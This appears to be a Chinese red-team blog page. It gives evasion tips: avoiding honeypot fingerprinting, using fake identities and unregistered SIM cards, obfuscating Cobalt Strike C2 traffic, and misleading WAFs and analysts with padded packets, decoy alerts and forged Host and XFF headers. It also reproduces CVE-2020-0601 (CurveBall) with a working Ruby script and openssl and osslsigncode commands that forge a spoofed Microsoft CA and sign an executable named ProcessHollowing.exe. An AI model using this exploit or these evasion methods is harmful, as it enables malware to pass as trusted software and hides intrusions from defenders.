2020年9月

红队隐藏技巧

image-20200926004647258

​ 近期因为都懂的原因做了回蓝队,还偶尔客串了下和客户对接的角色,根据接触到的各家设备的特点写了一些总结。从红队的视觉下看如何防止被溯源。

​ ---8sec.cc

1、蜜罐系统

浏览器使用注意

单独隔离的浏览器

​ 在渗透过程中尽量使用与常用浏览器不同的浏览器,如:Chrome常用,渗透使用firefox。

使用无痕模式

​ firefox和Chrome都有无痕模式,如果对目标资产不了解的情况下尽量开启无痕模式进行测试。

​ 以上两种方式主要可以避免蜜罐中使用各大网站的Jsonp Callback、XSS等漏洞获取到红队人员的ID和信息。

​ 但是蜜罐中使用的fingerprintjs库可以根据不同IP和不同浏览器的特定标识来判断来源访客是否是同一个人员,所以单独使用无痕模式和不同的浏览器也会导致被蜜罐识别。

反蜜罐插件

bypass Honeypot

AntiHoneypot - 一个拦截蜜罐XSSI的Chrome扩展

功能
  1. 截获页面中发起的XSSI请求,通过特征识别阻断可疑的XSSI(Jsonp Callback、XSS等)
  2. 分析和攫取蜜罐固有特征,识别蜜罐并拦截所有请求
  3. 判断fingerprintjs库是否存在并提示,判断是否有其他web指纹的相关调用
  4. 判断是否有持久化身份标识的相关调用
  5. 判断页面中是否对剪贴板的粘贴进行了取值(待进一步验证)
  6. 一键清除当前网站的所有浏览器数据功能(包括所有缓存的、存储的)
  7. 判断页面中是否操作了FileSystem(可以把evercookie写到这里)

2、防止反制

服务器跳板机

​ 根据各家溯源获取信息量排除蜜罐因素也有一部分的原因是VPS被打,常规被拿下有可能是红队人员对Linux/Windows运维了解不足

​ 如:使用Docker搭建漏洞环境被逃逸。

​ 使用一键环境搭建存在默认程序默认密码(phpmyadmin、BT/pma漏洞 信息泄漏漏洞)

​ nmap的交互执行命令 find的suid位提权等。

服务器安装应用/管理

​ 针对安装不同的应用要有针对性的限制,iptables和远程登录限制登录来源,还有爆破次数。建议安装使用软件如CS不要给777权限,这次是有反制提权案例的。

image-20200925233349340

虚拟机运行软件

​ 在之前广为流传的反制案例中,有蓝队安装包中捆绑马/白加黑利用造成红队人员上线的情况。所以如果针对金融(IE控件),VPN等目标下载/安装尽量在虚拟机中操作,每次不同工作/项目后回滚下镜像,在虚拟机网络代理配置完成得情况下打好备份。

3、信息隐藏

手机号隐藏

​ 阿里小号现在已经禁止注册和申请了,估计过一阵子也会关闭,常规渗透中可以选择购买短信卡,和使用接码平台,通话使用网络电话或者买一张实名卡。最好能够实现和日常生活物理隔离。

支付宝

​ 支付宝之前出过问题,如果开启网商银行可以直接看到转账对象三个字的姓名,如果是两个字的姓名可以直接利用支付宝转账功能来结合其他信息猜测姓名。

image-20200925233239370

微信

​ 微信也是泄漏id的一些地方,关闭手机搜索,微信群加好友,只开启二维码加好友,只允许查看3天内的朋友圈。让好友尽量备注一个假姓名。如:张xx 李xx

QQ

​ 同微信,关闭空间非好友访问,访问日期限制,照片限制,照片墙限制,游戏关闭展示。让好友尽量备注一个假姓名。如:张xx 李xx,之前QQ出过这种问题,利用好友之间的备注泄漏出本人的真实姓名。

https://zhuanlan.zhihu.com/p/95525409

qq获取共同好友真实姓名

https://github.com/anntsmart/QQ

虽然已经不能使用,但是不代表没有相关的接口被流出来,比如之前的t.qq.com登录qq就不需要任何安全验证就可以直接登录进去,获得qq的seckey

网络ID隐藏

​ 常用网络ID尽量使用一些常规字符,比如说:裤衩哥。这种新闻人物。

真实姓名隐藏/误导

​ 让好友尽量备注一个假姓名。如:张xx 李xx,之前QQ出过这种问题,利用好友之间的备注泄漏出本人的真实姓名。

因为在社工库中的信息只会越来越多,花钱隐藏纯粹就是当鸵鸟,所以只能在各种地方去隐藏自己的真实信息,比如说外卖/快递使用假姓名+小号。注册身份信息使用网上生成的信息或者你懂的的来源。

4、网络隐藏

网络隐藏这个需要着重的去说一下,各种代理方式的区别,在什么情况下适合使用什么。

ss/v2

优点

​ 连接流量加密/可混淆,使用kcp的话可以模拟成微信视频流量。

缺点

​ 由于使用Socks5,只能代理tcp流量,icmp/udp无法代理上,而且由于客户端转发性能问题容易导致测漏。

vpn l2tp/pptp

优点

​ 传统专线的代理模式,支持各类系统全局代理、使用L2TP需要设置密钥被破解的可能性不高,代理可手动设置路由来判断访问不同地址走不同路由,可以设置0.0.0.0走VPN全协议就走了。搭建简单 openvpn/SoftEtherVPN

Linux搭建:

https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/README-zh.md

缺点

​ 自身网络不稳定的时候容易后台直接掉了,而且提示非常短,很容易直接就裸奔,建议在路由器限制只允许1723端口外出,这样如果一旦断开直接就无法出网。直到自身连接vpn。国内网络中l2tp的流量都能解密。

sslvpn

产品列表:

优点

​ SSL协议主要是由SSL记录协议和握手协议组成,它们共同为应用访问连接提供认证、加密和防篡改功能。流量可加密。

缺点

​ SSL vpn仅限于web浏览器的应用,其他协议的带不上。

5、开发应用隐藏

开发编译桌面用户

​ 在编译软件的过程中建议在虚拟机中使用administrator用户编译,编译C#/C会存在pdb文件泄漏用户名,这样会导致ID信息泄漏被微步等平台关联到。

PDB文件:每个开发人员都必须知道的

Github/Blog/微信公众号文章

​ 还有从Github/Blog/WX文章中尽量使用另一个id,将搜索结果或者能够获取到的信息集中在之前构造的假信息中。尽量降低由于开放代码导致特征泄漏个人信息的危害。

6、网络设备流量混淆

CS流量混淆

​ 使用Malleable-C2混淆CS的流量,配合域前置来隐藏后端IP,更换CS默认的证书。

包填充字节

​ 在查看某些waf设备流量中了解到,由于waf的功能限制导致,针对大包的内容他不会记录大包,如果觉得包会触发规则的话可以在body中先填充一部分垃圾字符,这样真正匹配的内容在硬waf上是无法看到真实执行内容,也可以误导蓝队判断是否是业务。(没有全流量设备)

数据包混淆低危告警

​ 在面对全流量设备中如Aisa/天眼等设备中,如果你的包中存在恶意内容的话,可以填充一些弱口令的特征/明文口令登录等告警覆盖高危告警,这样就会使设备监控人员放松警惕,增加后续溯源攻击漏洞的时间成本。

Host混淆

​ 在针对waf 的测试过程中发现混淆HOST的话可以让waf检测到NAT前地址,如果能够了解到目标内网的一些IP地址可以利用HOST混淆让waf监测人员判断NAT前地址是内网设备的地址,这样也可以引导对方去响应安全的服务器,增加对方的时间成本。

Xff头混淆

​ 通常xff头伪造被用来绕过web登录IP限制,但是在一些复杂内网的情况下安全设备也会使用xff头来判断攻击最外层的攻击ip,然后进行封禁,这样可以在攻击过程中替换,或者自行增加xff头的方式来迷惑对方的监测人员。或者在cdn前加xff,再让cdn自己不断的去叠加xff。在waf中查看了添加xff之后也成功的将攻击ip识别成了127.0.0.1。

流量卡

​ 做一些红队项目中为了防止被溯源,尽量使用流量卡进行渗透最好还是不需要实名的流量卡,有些流量卡会跳城市,这点就很好,包括我现在使用的卡基本上ip判断都是中国,连省都不会出来,这样更谈不上被蓝队根据常用ip地点去进行定位了。

image-20200926004318036

数字签名的幺蛾子(数字签名那些事-2)-微软证书漏洞 CVE-2020-0601原理分析与复现

CVE-2020-0601

漏洞描述

2020年1月15日,微软公布了1月份的补丁更新列表,其中存在一个位于CryptoAPI椭圆曲线密码(ECC)证书检测绕过相关的漏洞(CVE-2020-0601),该漏洞为NSA发现并汇报给微软。攻击者可以利用这个漏洞,使用伪造的代码签名证书对恶意的可执行文件进行签名,并以此恶意文件来进行攻击。

该漏洞位于 Windows CryptoAPI(Crypt32.dll) 验证椭圆曲线加密算法证书的方式,可能影响信任的一些实例包括:

  • HTTPS 连接
  • 文件签名
  • 电子邮件签名
  • 以用户模式启动的签名可执行程序

此外,该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信的来源。例如,可以让勒索软件或其他间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。

目前,支持使用带有指定参数的 ECC 密钥的证书的 Microsoft Windows 版本会受到影响,包括了 Windows 10、Windows Server 2016/2019 以及依赖于 Windows CryptoAPI 的应用程序。而 Windows 10 之前的版本,如 Windows 7、Windows Server 2008 R2 等均不受该漏洞的影响。因为 win7 没有默认添加微软的 ECC 根证书,crypt32.dll 里面也没这个 hash 值,没法直接对比通过,故不受影响。

漏洞原理

CertDllVerifyMicrosoftRootCertificateChainPolicy函数对比ECC数字签名证书的hash值,但CertDllVerifyMicrosoftRootCertificateChainPolicy函数只利用了其中的公钥信息,存在参数校验不全的逻辑缺陷。导致黑客伪造基点和私钥做一个公钥和crypt32.dll中存的ECC签名公钥相同即可通过签名认证。

ECC 加密算法

ECC 是 Elliptic Curve Cryptography(椭圆曲线密码学)的缩写,是一种基于椭圆曲线数学的公开密钥加密算法,其本质是利用离散对数问题实现加密。

ECC 的主要优势,是在使用更小的密钥的同时,提供更快的性能和更高等级的安全。

介绍加密算法的相关内容,图片摘选自:https://medium.com/zengo/win10-crypto-vulnerability-cheating-in-elliptic-curve-billiards-2-69b45f2dcab6

http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi%E6%AC%BA%E9%AA%97%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

ECC椭圆曲线加密算法(一)

针对ECC算法的相关可以去看上面三篇文章学习详细,我这里只简单把他特性说明后表明漏洞成因。

基础知识

ECC 私钥 + 椭圆曲线 = ECC 公钥

漏洞成因

微软的私钥 + 微软选的椭圆曲线 = 微软根证书里面的公钥
黑客的私钥 + 黑客选的椭圆曲线 = 微软根证书里面的公钥
不同的椭圆曲线和不同的私钥,能产生一模一样的公钥。win10 默认添加了微软的 ECC 根证书,在做证书验证时,会一直验证到微软根证书中的公钥 hash 值,这个值直接写在了 crypt32.dll 里面,验证时没有对比是不是同一个椭圆曲线,只对比了公钥值,导致了黑客拿自己的私钥签名,就能伪装成微软的签名。

ECC算法

学习函数就先看下函数图像

方程y²=x³+ ax + b且满足 4a^3 + 27b^2 ≠ 0 的点集。描述的就是椭圆曲线算法。

image-20200903142430826

我们在椭圆曲线上选择点A和B,连接AB像外做延伸交曲线与点C',在从点C’向y轴做平行线交曲线于点C

0_4hLA8ig3E4FnmScs

​ ⬆动图

​ 规定:A + B = C,C + A = D,A + D = E

A=(2,5), B=(3,7) , C=(-1,1) 符合上面的公式,也符合椭圆曲线方程y²=x³+ 5x + 7。

img

如果AB是同一点那么线就是椭圆曲线的切线。C=2A

img

如果对多个A进行累加,则可依次累加连线得到nA的值 。

起点为A,终点D=3A,阶为3 。

img

起点为A,终点G=4A,阶为4

img

计算过程可以查看ECC椭圆曲线详解(有具体实例)有限域椭圆曲线。

假设G为基点

k(k<n)为私钥

K为公钥(微软根证书里面的公钥)

如果K=kG,K,G是曲线上的点。n为G的阶。k为小于n的整数,给定k和G根据加法法则计算K可以解出,但是给定K和G求k就很难,在实际使用过程中k的值非常大,n也很大。

正常来说使用ECC加密算法都是给定K和G,但是微软验证只验证了K是否相等。这样可以自己伪造G值和k,使得K=G (k=1)。

参与计算的基点G的内容由被验证的证书随意指定,使未授权的证书能够构建私钥k=1的特殊解来成功通过椭圆加密算法的签名验证的过程。

复现文件签名

https://github.com/ollypwn/CurveBall

image-20200903173221560

导出系统内的ECC证书。

image-20200904164738291

require 'openssl'

raw = File.read ARGV[0]     # 读取使用ECC算法的证书文件
ca = OpenSSL::X509::Certificate.new(raw)    # 读取使用ECC算法的证书
ca_key = ca.public_key      # 从证书中提取公钥ca_key

ca_key.private_key = 1      # 设置私钥为1,使得公钥K==1*基点G的等式成立
group = ca_key.group 
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group        # 利用构建的假基点G和假密钥k设置新group
File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem }  # 将新的group写入文件
ruby main.rb ./111.cer

修改证书私钥为1满足等式,生成公钥文件。

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

使用公钥生成一个证书

然后在创建一个证书签名请求。

cat openssl_cs.conf
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

image-20200904164808660

使用伪造CA和CA密钥签署新的CSR(自己注册)

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

image-20200904164824249

再用上面生成的密钥和CA打包成PKCS12用于签名。

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Microsoft" -out cert.p12

image-20200904161450834

最后一步:签名了

osslsigncode sign -pkcs12 cert.p12 -n "Microsoft" -in ProcessHollowing.exe -out ProcessHollowing_sig.exe

最终结果:

image-20200904164935202

​ --admin@8sec.cc

ECC椭圆曲线加密算法(一)

ECC椭圆曲线加密算法(二)

ECC椭圆曲线详解(有具体实例)

http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi 欺骗漏洞分析 /

https://medium.com/zengo/win10-crypto-vulnerability-cheating-in-elliptic-curve-billiards-2-69b45f2dcab6

https://www.freebuf.com/vuls/225879.html

https://github.com/ollypwn/CurveBall